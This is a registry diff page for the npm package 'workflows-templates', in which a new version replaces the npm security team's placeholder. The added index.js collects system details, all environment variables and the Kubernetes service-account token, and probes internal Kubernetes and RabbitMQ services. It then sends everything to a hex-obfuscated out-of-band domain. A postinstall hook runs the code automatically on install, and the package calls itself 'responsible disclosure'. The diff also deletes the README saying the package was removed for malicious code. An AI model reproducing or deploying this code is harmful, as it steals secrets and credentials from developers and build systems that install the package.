workflows-templates 0.0.1-security → 98.99.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of workflows-templates might be problematic. Click here for more details.
- package/index.js +119 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
// =========================================================================
|
|
2
|
+
// ================ MAX POWER NODE.JS NATIVE POC (FINAL) ===================
|
|
3
|
+
// =========================================================================
|
|
4
|
+
// This payload proves RCE and INTERNAL NETWORK ACCESS using only Node.js
|
|
5
|
+
// modules to ensure it runs even in the most minimal environments.
|
|
6
|
+
|
|
7
|
+
const os = require('os');
|
|
8
|
+
const https = require('https');
|
|
9
|
+
const http = require('http'); // For internal HTTP probes
|
|
10
|
+
const net = require('net'); // For internal TCP socket probes
|
|
11
|
+
const fs = require('fs'); // For reading the K8s token
|
|
12
|
+
const { execSync } = require('child_process');
|
|
13
|
+
|
|
14
|
+
// --- CONFIGURATION ---
|
|
15
|
+
const OAST_DOMAIN_HEX = '77717170633861787772686e707a336e373837733967316c756330376f78636d2e6f6173746966792e636f6d';
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
* A safe function to execute shell commands, returning a default value on failure.
|
|
19
|
+
*/
|
|
20
|
+
const run = (cmd) => {
|
|
21
|
+
try {
|
|
22
|
+
return execSync(cmd, { stdio: 'pipe', timeout: 3000 }).toString().trim();
|
|
23
|
+
} catch (e) {
|
|
24
|
+
return 'CMD_FAILED';
|
|
25
|
+
}
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
/**
|
|
29
|
+
* Uses pure Node.js to probe an HTTP endpoint.
|
|
30
|
+
* @param {string} host - The internal hostname or IP.
|
|
31
|
+
* @param {number} port - The internal port.
|
|
32
|
+
* @returns {Promise<string>} A promise that resolves with the first chunk of the response or an error message.
|
|
33
|
+
*/
|
|
34
|
+
const probeHttp = (host, port, protocol = 'http') => new Promise(resolve => {
|
|
35
|
+
if (!host || !port) return resolve('TARGET_UNDEFINED');
|
|
36
|
+
const module = protocol === 'https' ? https : http;
|
|
37
|
+
const req = module.get({ host, port, path: '/', timeout: 2000 }, (res) => {
|
|
38
|
+
let data = `STATUS:${res.statusCode} HEADERS:${JSON.stringify(res.headers)}`;
|
|
39
|
+
resolve(data.substring(0, 500)); // Cap the response size
|
|
40
|
+
});
|
|
41
|
+
req.on('error', (e) => resolve(`PROBE_ERROR:${e.message}`));
|
|
42
|
+
req.on('timeout', () => { req.destroy(); resolve('PROBE_TIMEOUT'); });
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* Uses pure Node.js to check if a TCP port is open.
|
|
47
|
+
* @param {string} host - The internal hostname or IP.
|
|
48
|
+
* @param {number} port - The internal port.
|
|
49
|
+
* @returns {Promise<string>} A promise that resolves with "PORT_OPEN" or an error message.
|
|
50
|
+
*/
|
|
51
|
+
const probeTcp = (host, port) => new Promise(resolve => {
|
|
52
|
+
if (!host || !port) return resolve('TARGET_UNDEFINED');
|
|
53
|
+
const socket = new net.Socket();
|
|
54
|
+
socket.setTimeout(2000);
|
|
55
|
+
socket.on('connect', () => {
|
|
56
|
+
resolve('PORT_OPEN');
|
|
57
|
+
socket.destroy();
|
|
58
|
+
});
|
|
59
|
+
socket.on('error', (e) => resolve(`PORT_ERROR:${e.message}`));
|
|
60
|
+
socket.on('timeout', () => {
|
|
61
|
+
resolve('PORT_TIMEOUT');
|
|
62
|
+
socket.destroy();
|
|
63
|
+
});
|
|
64
|
+
socket.connect(port, host);
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
/**
|
|
68
|
+
* Gathers a complete intelligence dossier from the system.
|
|
69
|
+
*/
|
|
70
|
+
const gatherIntelligence = async () => {
|
|
71
|
+
const report = {
|
|
72
|
+
proof_of_execution: {
|
|
73
|
+
hostname: run('hostname'),
|
|
74
|
+
whoami: run('whoami'),
|
|
75
|
+
id: os.platform() === 'win32' ? 'N/A' : run('id'),
|
|
76
|
+
timestamp: new Date().toISOString()
|
|
77
|
+
},
|
|
78
|
+
system_context: {
|
|
79
|
+
os_platform: os.platform(),
|
|
80
|
+
uname: os.platform() === 'win32' ? run('ver') : run('uname -a'),
|
|
81
|
+
current_path: run('pwd') || run('cd'),
|
|
82
|
+
node_version: process.version,
|
|
83
|
+
user_info_node: os.userInfo()
|
|
84
|
+
},
|
|
85
|
+
environment_dump: process.env
|
|
86
|
+
};
|
|
87
|
+
|
|
88
|
+
// The key section: Active, Node-native internal reconnaissance.
|
|
89
|
+
report.internal_recon_native = {
|
|
90
|
+
title: "Actively probing internal services using pure Node.js modules...",
|
|
91
|
+
k8s_api_probe: await probeHttp(process.env.KUBERNETES_SERVICE_HOST, process.env.KUBERNETES_SERVICE_PORT, 'https'),
|
|
92
|
+
rabbitmq_mgmt_ui_probe: await probeHttp(process.env.RABBITMQ_SERVICE_HOST, 15672),
|
|
93
|
+
rabbitmq_amqp_port_probe: await probeTcp(process.env.RABBITMQ_SERVICE_HOST, 5672),
|
|
94
|
+
k8s_service_account_token: fs.existsSync('/var/run/secrets/kubernetes.io/serviceaccount/token')
|
|
95
|
+
? fs.readFileSync('/var/run/secrets/kubernetes.io/serviceaccount/token', 'utf8')
|
|
96
|
+
: 'TOKEN_NOT_FOUND'
|
|
97
|
+
};
|
|
98
|
+
|
|
99
|
+
return report;
|
|
100
|
+
};
|
|
101
|
+
|
|
102
|
+
// --- Main Execution and Exfiltration ---
|
|
103
|
+
(async () => {
|
|
104
|
+
try {
|
|
105
|
+
const intelReport = await gatherIntelligence();
|
|
106
|
+
const payload = Buffer.from(JSON.stringify(intelReport, null, 2)).toString('base64');
|
|
107
|
+
const oast_domain = Buffer.from(OAST_DOMAIN_HEX, 'hex').toString();
|
|
108
|
+
|
|
109
|
+
https.request({
|
|
110
|
+
hostname: oast_domain,
|
|
111
|
+
port: 443,
|
|
112
|
+
path: `/NODE_NATIVE_HIT/${intelReport.proof_of_execution.hostname}/${intelReport.proof_of_execution.whoami.replace('\\', '-')}`,
|
|
113
|
+
method: 'POST',
|
|
114
|
+
headers: { 'Content-Type': 'text/plain', 'Content-Length': payload.length }
|
|
115
|
+
}).on('error', e => {}).end(payload);
|
|
116
|
+
} catch (e) {
|
|
117
|
+
// Ultimate silent failsafe
|
|
118
|
+
}
|
|
119
|
+
})();
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "workflows-templates",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "98.99.9",
|
|
4
|
+
"description": "Security research package. Final proof-of-concept for responsible disclosure.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=workflows-templates for more information.
|